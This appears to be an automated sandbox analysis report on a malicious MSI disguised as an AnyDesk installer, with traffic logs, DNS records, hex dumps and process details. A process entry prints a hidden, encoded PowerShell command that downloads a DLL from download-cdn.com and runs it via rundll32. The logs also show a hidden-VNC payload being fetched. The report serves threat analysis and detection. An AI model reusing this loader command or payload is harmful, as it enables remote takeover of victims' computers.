Jan 19, 2023 17:58:51.309022903 CET	443	49738	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:51.309125900 CET	49738	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:51.309218884 CET	49738	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:51.309231997 CET	443	49738	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:51.309325933 CET	443	49738	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:56.332793951 CET	49739	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:56.333348036 CET	443	49739	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:56.334171057 CET	49739	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:56.335319996 CET	49739	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:56.335405111 CET	443	49739	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:56.335592031 CET	443	49739	64.190.113.123	192.168.2.4
Jan 19, 2023 17:59:01.345798969 CET	49740	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:59:01.345849037 CET	443	49740	64.190.113.123	192.168.2.4
Jan 19, 2023 17:59:01.345943928 CET	49740	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:59:01.346110106 CET	49740	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:59:01.346127987 CET	443	49740	64.190.113.123	192.168.2.4
Jan 19, 2023 17:59:01.346188068 CET	443	49740	64.190.113.123	192.168.2.4
Jan 19, 2023 17:59:06.357419014 CET	49741	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:59:06.357506990 CET	443	49741	64.190.113.123	192.168.2.4
Jan 19, 2023 17:59:06.357647896 CET	49741	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:59:06.357851028 CET	49741	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:59:06.357882977 CET	443	49741	64.190.113.123	192.168.2.4
Jan 19, 2023 17:59:06.357954025 CET	443	49741	64.190.113.123	192.168.2.4
Jan 19, 2023 17:59:11.373389959 CET	49742	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:59:11.373476982 CET	443	49742	64.190.113.123	192.168.2.4
Jan 19, 2023 17:59:11.373593092 CET	49742	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:59:11.373872995 CET	49742	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:59:11.373903990 CET	443	49742	64.190.113.123	192.168.2.4
Jan 19, 2023 17:59:11.373955011 CET	443	49742	64.190.113.123	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 19, 2023 17:55:19.777456999 CET	56572	53	192.168.2.4	8.8.8.8
Jan 19, 2023 17:55:19.822742939 CET	53	56572	8.8.8.8	192.168.2.4
Jan 19, 2023 17:55:21.440716982 CET	50911	53	192.168.2.4	8.8.8.8
Jan 19, 2023 17:55:21.490238905 CET	53	50911	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 19, 2023 17:55:19.777456999 CET	192.168.2.4	8.8.8.8	0xf0c6	Standard query (0)	download-cdn.com	A (IP address)	IN (0x0001)	false
Jan 19, 2023 17:55:21.440716982 CET	192.168.2.4	8.8.8.8	0x9b8e	Standard query (0)	download-cdn.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 19, 2023 17:55:19.822742939 CET	8.8.8.8	192.168.2.4	0xf0c6	No error (0)	download-cdn.com		152.89.196.75	A (IP address)	IN (0x0001)	false
Jan 19, 2023 17:55:21.490238905 CET	8.8.8.8	192.168.2.4	0x9b8e	No error (0)	download-cdn.com		152.89.196.75	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

download-cdn.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49695	152.89.196.75	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
2023-01-19 16:55:20 UTC	0	OUT	GET /download.php?f=Ldrp.dll&from=AnydeskSetup_26b30163.msi HTTP/1.1 Host: download-cdn.com Connection: Keep-Alive
2023-01-19 16:55:20 UTC	0	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Jan 2023 16:55:19 GMT Content-Type: application/x-download Content-Length: 112640 Connection: close Content-Transfer-Encoding: binary Last-Modified: Fri, 01 Jan 1990 00:00:00 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-control: must-revalidate, no-store, no-cache, max-age=0, post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: Deny Content-Disposition: attachment; filename=Ldrp.dll
2023-01-19 16:55:20 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 37 39 31 36 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1e 00 1a 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL7916!
2023-01-19 16:55:20 UTC	16	IN	Data Raw: 54 66 4e 4d 63 43 5f 73 51 4e 78 48 69 31 41 6d 5f 41 4a 39 79 44 47 30 56 58 55 6d 41 34 4c 2d 47 78 55 7a 51 6d 71 79 5a 43 36 6d 6f 6c 32 4f 77 67 38 43 43 61 4a 78 57 6c 66 55 73 42 70 4f 39 61 4a 39 45 50 37 55 62 38 78 56 39 41 63 54 50 61 76 76 43 37 67 74 75 31 56 45 5a 6d 38 37 37 41 6f 59 62 62 39 4e 36 30 74 34 4d 54 58 72 65 6d 43 59 39 53 34 37 34 64 5a 78 70 4c 66 41 42 71 2d 45 78 59 4f 39 43 55 7a 71 54 79 61 4a 64 61 45 43 69 41 6e 37 73 69 4f 7a 74 59 4f 66 52 34 65 7a 66 68 30 56 5f 66 37 7a 39 46 75 58 75 37 47 67 5f 35 57 35 4a 4e 41 73 58 2d 67 62 57 4c 39 65 35 66 35 41 31 6e 30 33 32 62 37 55 6e 42 41 58 47 6c 4f 4f 42 50 2d 51 70 64 77 57 31 2d 77 76 45 6c 72 4a 45 35 35 4c 67 67 30 52 4e 32 4a 47 77 6d 6d 74 4b 54 72 44 39 45 5f Data Ascii: TfNMcC_sQNxHi1Am_AJ9yDG0VXUmA4L-GxUzQmqyZC6mol2Owg8CCaJxWlfUsBpO9aJ9EP7Ub8xV9AcTPavvC7gtu1VEZm877AoYbb9N60t4MTXremCY9S474dZxpLfABq-ExYO9CUzqTyaJdaECiAn7siOztYOfR4ezfh0V_f7z9FuXu7Gg_5W5JNAsX-gbWL9e5f5A1n032b7UnBAXGlOOBP-QpdwW1-wvElrJE55Lgg0RN2JGwmmtKTrD9E_
2023-01-19 16:55:20 UTC	32	IN	Data Raw: 54 55 67 62 4f 43 4d 61 30 4c 49 6e 79 41 63 73 61 32 30 63 4c 34 51 41 4a 78 75 4b 47 4c 62 78 68 4d 34 59 69 4b 69 35 46 57 52 71 34 36 53 32 56 31 53 79 45 56 41 70 38 74 75 57 4f 50 31 36 62 4a 73 6e 34 61 72 39 72 4e 61 46 6f 43 43 44 42 67 6d 64 62 71 4f 39 68 65 64 55 62 51 4b 57 74 7a 54 6d 55 38 62 31 65 76 51 74 7a 73 34 6b 50 35 33 67 54 31 48 7a 70 64 6e 57 39 54 63 4f 74 76 76 5a 47 7a 6f 58 7a 5a 73 65 55 77 5a 78 6b 5f 7a 32 44 70 72 4d 62 69 4d 67 69 32 72 6c 4e 6d 54 36 66 75 42 69 6d 30 66 4a 6c 42 32 41 7a 67 46 62 4c 49 73 4b 6c 65 64 63 6c 6e 32 76 69 67 4e 72 63 54 32 64 46 59 75 54 37 34 41 6d 49 32 59 35 69 48 57 6d 33 57 51 6f 48 76 53 69 4c 30 2d 46 6b 77 61 37 65 34 4f 67 5f 31 30 78 5a 46 59 43 6f 32 59 6b 5f 51 65 63 6c 73 77 Data Ascii: TUgbOCMa0LInyAcsa20cL4QAJxuKGLbxhM4YiKi5FWRq46S2V1SyEVAp8tuWOP16bJsn4ar9rNaFoCCDBgmdbqO9hedUbQKWtzTmU8b1evQtzs4kP53gT1HzpdnW9TcOtvvZGzoXzZseUwZxk_z2DprMbiMgi2rlNmT6fuBim0fJlB2AzgFbLIsKledcln2vigNrcT2dFYuT74AmI2Y5iHWm3WQoHvSiL0-Fkwa7e4Og_10xZFYCo2Yk_Qeclsw
2023-01-19 16:55:20 UTC	48	IN	Data Raw: 6b 67 4a 78 33 63 75 37 79 51 6f 59 6e 65 6b 61 61 58 35 52 7a 67 44 66 5f 7a 50 46 65 37 58 48 6e 6d 6b 34 54 44 36 6e 6c 6e 37 51 73 68 46 57 6c 76 43 31 47 5f 38 52 78 56 70 2d 74 68 44 6f 63 55 31 65 34 57 59 44 4b 51 61 73 78 4f 55 30 55 2d 33 42 4c 64 73 6d 64 35 32 53 56 56 47 5f 32 69 4e 41 32 55 4b 6c 4f 52 37 71 53 44 64 34 76 44 37 6b 30 68 6b 6c 77 31 34 46 4a 59 32 44 76 71 4f 6b 58 49 69 48 4b 36 52 5a 68 66 56 66 70 53 4a 4a 61 4e 65 56 2d 61 36 5a 67 75 61 59 4c 53 31 71 6d 64 31 6f 2d 4c 52 52 67 36 53 30 4e 31 54 42 38 39 50 52 31 63 4a 46 6b 44 50 30 76 67 2d 72 77 76 73 48 36 49 63 65 61 63 37 5f 65 4b 46 56 43 44 32 32 61 35 67 49 57 55 45 4b 32 43 46 70 6d 73 38 30 50 34 48 30 67 55 56 72 6f 4a 67 37 32 51 35 53 2d 46 58 75 31 32 43 Data Ascii: kgJx3cu7yQoYnekaaX5RzgDf_zPFe7XHnmk4TD6nln7QshFWlvC1G_8RxVp-thDocU1e4WYDKQasxOU0U-3BLdsmd52SVVG_2iNA2UKlOR7qSDd4vD7k0hklw14FJY2DvqOkXIiHK6RZhfVfpSJJaNeV-a6ZguaYLS1qmd1o-LRRg6S0N1TB89PR1cJFkDP0vg-rwvsH6Iceac7_eKFVCD22a5gIWUEK2CFpms80P4H0gUVroJg72Q5S-FXu12C
2023-01-19 16:55:20 UTC	64	IN	Data Raw: 70 44 52 4f 61 4f 30 55 68 39 54 64 30 32 68 50 56 44 76 46 4e 7a 42 62 53 72 64 31 49 6b 6f 65 57 61 79 66 67 2d 78 78 63 6d 4e 35 74 77 73 57 41 42 4d 50 78 70 50 59 78 4d 61 4c 72 44 5a 48 6f 5f 44 4f 76 52 35 49 77 47 2d 39 6c 70 76 2d 71 4d 69 70 70 4f 48 2d 76 57 4a 77 6f 4c 59 35 64 6d 61 65 5f 55 56 54 36 65 35 49 55 56 77 61 6b 2d 4c 4f 48 69 55 46 31 62 49 68 76 73 47 4c 69 72 46 39 36 67 6c 39 45 74 6d 38 6e 49 77 6d 38 33 59 51 30 46 62 69 50 70 52 37 4f 73 4c 2d 4d 6d 74 75 49 38 66 74 6f 4b 58 49 5f 4b 43 55 31 4f 68 75 47 45 38 32 4f 2d 4c 61 57 6f 67 52 79 47 55 6f 4f 48 71 79 62 67 4d 71 62 61 69 75 61 47 5f 35 46 2d 75 57 70 46 2d 35 45 77 79 41 31 30 62 36 76 4e 32 36 46 62 76 75 73 63 30 6e 73 4c 36 65 52 45 4f 44 76 71 76 7a 72 7a 45 Data Ascii: pDROaO0Uh9Td02hPVDvFNzBbSrd1IkoeWayfg-xxcmN5twsWABMPxpPYxMaLrDZHo_DOvR5IwG-9lpv-qMippOH-vWJwoLY5dmae_UVT6e5IUVwak-LOHiUF1bIhvsGLirF96gl9Etm8nIwm83YQ0FbiPpR7OsL-MmtuI8ftoKXI_KCU1OhuGE82O-LaWogRyGUoOHqybgMqbaiuaG_5F-uWpF-5EwyA10b6vN26Fbvusc0nsL6eREODvqvzrzE
2023-01-19 16:55:20 UTC	80	IN	Data Raw: 49 70 59 57 5a 76 4e 30 6e 6e 7a 32 4a 57 7a 69 36 32 6f 52 4a 5a 36 34 32 36 6f 53 72 37 46 5a 32 46 68 52 37 73 4a 66 71 67 52 53 66 4f 4b 34 4d 50 6e 30 69 31 31 59 34 52 55 62 48 44 69 36 6f 56 5a 48 48 34 34 74 5f 43 67 47 62 52 78 6e 7a 73 56 36 67 67 5a 30 37 55 76 58 7a 6e 4e 31 76 54 54 53 33 4e 77 65 79 34 39 52 4e 55 6b 51 7a 77 62 49 74 46 61 65 66 72 34 46 5f 65 55 79 6d 41 70 53 36 41 48 38 4d 31 51 6b 63 74 34 37 35 50 62 67 58 48 42 42 75 75 76 66 75 31 57 53 6e 58 43 77 46 6f 2d 67 55 34 73 66 5a 45 6b 70 34 62 36 69 53 5a 7a 56 74 72 56 73 41 54 67 6f 50 32 78 36 61 32 76 35 56 4d 66 76 45 69 45 6e 75 72 47 48 77 6c 4e 4e 48 4d 58 4a 46 77 53 6c 34 64 4a 6f 78 61 6c 51 44 33 51 64 42 31 6c 39 67 36 56 50 72 39 5f 72 73 54 73 78 38 47 52 Data Ascii: IpYWZvN0nnz2JWzi62oRJZ6426oSr7FZ2FhR7sJfqgRSfOK4MPn0i11Y4RUbHDi6oVZHH44t_CgGbRxnzsV6ggZ07UvXznN1vTTS3Nwey49RNUkQzwbItFaefr4F_eUymApS6AH8M1Qkct475PbgXHBBuuvfu1WSnXCwFo-gU4sfZEkp4b6iSZzVtrVsATgoP2x6a2v5VMfvEiEnurGHwlNNHMXJFwSl4dJoxalQD3QdB1l9g6VPr9_rsTsx8GR
2023-01-19 16:55:20 UTC	96	IN	Data Raw: 50 50 36 63 70 75 52 50 71 6c 64 78 44 36 30 6b 32 65 4a 4b 50 49 6c 75 30 70 54 68 56 49 5a 53 75 67 78 72 4c 52 72 39 72 37 4f 67 63 67 43 75 58 2d 4f 38 62 6d 6f 4c 64 35 6c 5a 55 67 4a 41 54 34 4d 6d 34 76 69 43 58 61 5f 56 53 6b 67 38 6e 4c 56 65 48 6e 52 4d 5a 34 75 45 49 4f 58 4d 37 36 70 33 35 4d 78 76 56 46 71 5a 69 71 7a 55 76 35 68 63 4b 33 62 6c 45 39 34 6b 41 73 61 2d 6f 68 67 58 75 38 58 61 66 55 4e 65 38 56 39 62 72 61 5f 71 62 30 5a 79 33 52 36 62 36 7a 67 6f 67 78 4f 6c 62 62 6b 44 48 78 68 59 79 54 4b 51 67 2d 4d 71 55 45 43 77 67 64 58 53 71 36 52 77 61 30 4b 43 45 67 5f 63 6e 6b 4a 50 4a 4f 34 7a 33 49 2d 5f 58 52 64 4b 67 65 41 74 6b 48 46 5f 5a 36 48 65 6b 36 31 64 50 66 59 36 4f 70 62 70 70 51 49 61 54 31 69 56 32 34 65 54 6c 43 6e Data Ascii: PP6cpuRPqldxD60k2eJKPIlu0pThVIZSugxrLRr9r7OgcgCuX-O8bmoLd5lZUgJAT4Mm4viCXa_VSkg8nLVeHnRMZ4uEIOXM76p35MxvVFqZiqzUv5hcK3blE94kAsa-ohgXu8XafUNe8V9bra_qb0Zy3R6b6zgogxOlbbkDHxhYyTKQg-MqUECwgdXSq6Rwa0KCEg_cnkJPJO4z3I-_XRdKgeAtkHF_Z6Hek61dPfY6OpbppQIaT1iV24eTlCn

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49696	152.89.196.75	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
2023-01-19 16:55:21 UTC	110	OUT	GET /pload/26b30163 HTTP/1.1 Host: download-cdn.com Cache-Control: no-cache
2023-01-19 16:55:21 UTC	110	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Jan 2023 16:55:21 GMT Content-Type: application/x-download Content-Length: 94720 Connection: close Content-Transfer-Encoding: binary Last-Modified: Fri, 01 Jan 1990 00:00:00 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-control: must-revalidate, no-store, no-cache, max-age=0, post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: Deny Content-Disposition: attachment; filename=HVNC.dll
2023-01-19 16:55:21 UTC	111	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 32 31 32 35 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1e 00 de 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL2125!
2023-01-19 16:55:21 UTC	126	IN	Data Raw: 00 00 5f 5e 5d 5b 81 c4 c4 07 00 00 e9 46 df ff ff b9 02 00 00 00 5f 5e 5d 5b 81 c4 c4 07 00 00 e9 32 df ff ff b9 03 00 00 00 5f 5e 5d 5b 81 c4 c4 07 00 00 e9 1e df ff ff 6a 00 ff 35 74 63 01 10 ff 15 8c f0 00 10 5f 5e 5d 5b 81 c4 c4 07 00 00 c3 33 c9 5f 5e 5d 5b 81 c4 c4 07 00 00 e9 a4 e6 ff ff b9 01 00 00 00 5f 5e 5d 5b 81 c4 c4 07 00 00 e9 90 e6 ff ff b9 02 00 00 00 5f 5e 5d 5b 81 c4 c4 07 00 00 e9 7c e6 ff ff b9 03 00 00 00 5f 5e 5d 5b 81 c4 c4 07 00 00 e9 68 e6 ff ff 6a 00 ff 35 7c 63 01 10 ff 15 8c f0 00 10 5f 5e 5d 5b 81 c4 c4 07 00 00 c3 8d 44 24 14 50 6a 00 6a 00 68 b0 33 00 10 6a 00 6a 00 ff 15 64 f1 00 10 85 c0 0f 84 27 09 00 00 50 ff 15 68 f1 00 10 5f 5e 5d 5b 81 c4 c4 07 00 00 c3 6a 00 ff 35 78 63 01 10 ff 15 8c f0 00 10 5f 5e 5d 5b 81 c4 c4 Data Ascii: _^][F_^][2_^][j5tc_^][3_^][_^][_^][\|_^][hj5\|c_^][D$Pjjh3jjd'Ph_^][j5xc_^][
2023-01-19 16:55:22 UTC	142	IN	Data Raw: 85 00 10 bb 85 00 10 f0 85 00 10 98 86 00 10 2f 83 00 10 2d 84 00 10 66 84 00 10 9f 84 00 10 d8 84 00 10 03 86 00 10 ff 86 00 10 cc cc cc cc cc cc cc cc cc cc cc cc 81 ec 28 02 00 00 53 55 8b ac 24 34 02 00 00 8d 44 24 10 56 57 50 6a 00 6a 00 8d 44 24 34 89 54 24 20 8b d9 c7 44 24 24 1e 00 00 00 50 53 c7 44 24 30 00 00 00 00 be 04 00 00 00 89 5c 24 40 8b fd c7 44 24 3c 01 00 00 00 ff 15 24 77 01 10 83 f8 01 0f 85 76 01 00 00 6a 00 56 57 53 ff 15 f8 76 01 10 85 c0 0f 8e 63 01 00 00 03 f8 2b f0 75 e7 8d 44 24 20 89 74 24 24 50 6a 00 6a 00 8d 84 24 3c 01 00 00 c7 44 24 2c 1e 00 00 00 50 53 89 9c 24 48 01 00 00 be 04 00 00 00 c7 84 24 44 01 00 00 01 00 00 00 8b fd ff 15 24 77 01 10 83 f8 01 0f 85 ee 00 00 00 6a 00 56 57 53 ff 15 f8 76 01 10 85 c0 0f 8e db 00 Data Ascii: /-f(SU$4D$VWPjjD$4T$ D$$PSD$0\$@D$<$wvjVWSvc+uD$ t$$Pjj$<D$,PS$H$D$wjVWSv
2023-01-19 16:55:22 UTC	158	IN	Data Raw: 00 89 45 fc 8b ca 8d 43 fc 0f b7 f0 66 8b c6 66 d3 e0 66 0b 45 fc 0f b7 c0 83 fa 0c 7e 45 8b 57 14 8b 4f 08 66 89 87 b0 16 00 00 88 04 0a ff 47 14 8b 57 14 8b 4f 08 8a 87 b1 16 00 00 88 04 0a b1 10 0f b7 87 b4 16 00 00 83 87 b4 16 00 00 f4 2a c8 ff 47 14 8b 97 b4 16 00 00 66 d3 ee 0f b7 c6 eb 09 83 c2 04 89 97 b4 16 00 00 33 db 66 89 87 b0 16 00 00 39 5d 0c 0f 8e a4 00 00 00 0f b7 f0 89 75 fc 0f b6 83 10 3a 01 10 83 fa 0d 7e 59 0f b7 b4 87 76 0a 00 00 8b ca 8b 57 14 66 8b c6 66 d3 e0 66 0b 45 fc 8b 4f 08 66 89 87 b0 16 00 00 88 04 0a ff 47 14 8b 57 14 8b 4f 08 8a 87 b1 16 00 00 88 04 0a b1 10 0f b7 87 b4 16 00 00 83 87 b4 16 00 00 f3 2a c8 ff 47 14 8b 97 b4 16 00 00 66 d3 ee 0f b7 c6 eb 22 0f b7 84 87 76 0a 00 00 8d 4a 03 89 4d fc 89 8f b4 16 00 00 8b ca Data Ascii: ECfffE~EWOfGWOGf3f9]u:~YvWfffEOfGWOGf"vJM
2023-01-19 16:55:22 UTC	174	IN	Data Raw: 6d 6e 6e 6e 69 6e 69 6e 70 00 00 66 6d 65 6b 67 6c 67 67 68 6c 00 00 64 61 63 61 61 6d 61 6f 61 62 61 6d 63 62 61 6d 62 6c 00 00 65 6c 66 6c 68 68 68 66 68 6b 68 68 66 6b 68 68 67 61 66 6e 67 61 63 6c 63 6b 00 00 6d 6b 6e 6e 6d 6d 6e 61 6d 70 70 61 70 6d 6f 6f 6d 6f 70 68 70 6e 6e 6b 70 66 70 69 6f 6b 6f 6b 6e 68 70 69 70 65 70 6d 00 00 00 00 6d 6c 6e 6f 70 65 70 68 70 6a 6f 6d 6e 67 70 68 6f 6d 70 62 70 6f 6f 62 6d 6c 70 62 70 67 70 64 00 00 00 00 68 6c 68 69 66 6b 65 68 65 70 65 66 65 6a 65 67 00 00 00 00 67 65 67 68 65 66 66 69 66 61 65 66 66 67 66 6b 62 68 68 6b 66 67 66 6a 66 67 66 61 66 63 65 66 00 00 00 00 6e 63 6e 63 6d 6a 6d 65 6d 6e 6d 6e 6d 66 6d 6e 6d 6e 6e 6f 6d 66 6f 65 6f 68 6e 68 6f 69 6f 65 70 67 00 00 64 6f 63 6c 61 63 61 62 61 6a 61 69 Data Ascii: mnnnininpfmekglgghldacaamaoabamcbamblelflhhhfhkhhfkhhgafngaclckmknnmmnamppapmoomophpnnkpfpiokoknhpipepmmlnopephpjomngphompbpoobmlpbpgpdhlhifkehepefejeggegheffifaeffgfkbhhkfgfjfgfafcefncncmjmemnmnmfmnmnnomfoeohnhoioepgdoclacabajai
2023-01-19 16:55:22 UTC	190	IN	Data Raw: 61 79 6f 75 74 00 00 ad 02 50 72 69 6e 74 57 69 6e 64 6f 77 00 13 00 42 72 69 6e 67 57 69 6e 64 6f 77 54 6f 54 6f 70 00 00 d0 01 47 65 74 54 6f 70 57 69 6e 64 6f 77 00 00 65 00 43 72 65 61 74 65 44 65 73 6b 74 6f 70 57 00 00 73 03 53 65 74 57 69 6e 64 6f 77 4c 6f 6e 67 41 00 00 d2 03 56 6b 4b 65 79 53 63 61 6e 45 78 41 00 00 6c 01 47 65 74 4b 65 79 62 6f 61 72 64 53 74 61 74 65 00 00 7c 01 47 65 74 4d 65 6e 75 49 74 65 6d 43 6f 75 6e 74 00 00 17 03 53 65 74 41 63 74 69 76 65 57 69 6e 64 6f 77 00 76 03 53 65 74 57 69 6e 64 6f 77 50 6f 73 00 00 40 01 47 65 74 44 43 00 76 01 47 65 74 4d 65 6e 75 00 da 01 47 65 74 57 69 6e 64 6f 77 00 55 53 45 52 33 32 2e 64 6c 6c 00 00 32 00 43 72 65 61 74 65 44 43 41 00 7f 02 47 65 74 44 65 76 69 63 65 43 61 70 73 00 5a 00 Data Ascii: ayoutPrintWindowBringWindowToTopGetTopWindoweCreateDesktopWsSetWindowLongAVkKeyScanExAlGetKeyboardState\|GetMenuItemCountSetActiveWindowvSetWindowPos@GetDCvGetMenuGetWindowUSER32.dll2CreateDCAGetDeviceCapsZ

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: msiexec.exePID: 8, Parent PID: 3528

General

Target ID:	0
Start time:	17:55:08
Start date:	19/01/2023
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\AnydeskSetup_26b30163.msi"
Imagebase:	0x7ff6a3690000
File size:	66048 bytes
MD5 hash:	4767B71A318E201188A0D0A420C8B608
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: msiexec.exePID: 4312, Parent PID: 576

General

Target ID:	1
Start time:	17:55:08
Start date:	19/01/2023
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff6a3690000
File size:	66048 bytes
MD5 hash:	4767B71A318E201188A0D0A420C8B608
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: msiexec.exePID: 1592, Parent PID: 4312

General

Target ID:	2
Start time:	17:55:10
Start date:	19/01/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 98DB8D4E6DAAAA17E94E76B65ACF188B
Imagebase:	0xff0000
File size:	59904 bytes
MD5 hash:	12C17B5A5C2A7B97342C362CA467E9A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: MSI5344.tmpPID: 2904, Parent PID: 4312

General

Target ID:	3
Start time:	17:55:13
Start date:	19/01/2023
Path:	C:\Windows\Installer\MSI5344.tmp
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Installer\MSI5344.tmp" /DontWait /HideWindow powershell.exe -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArA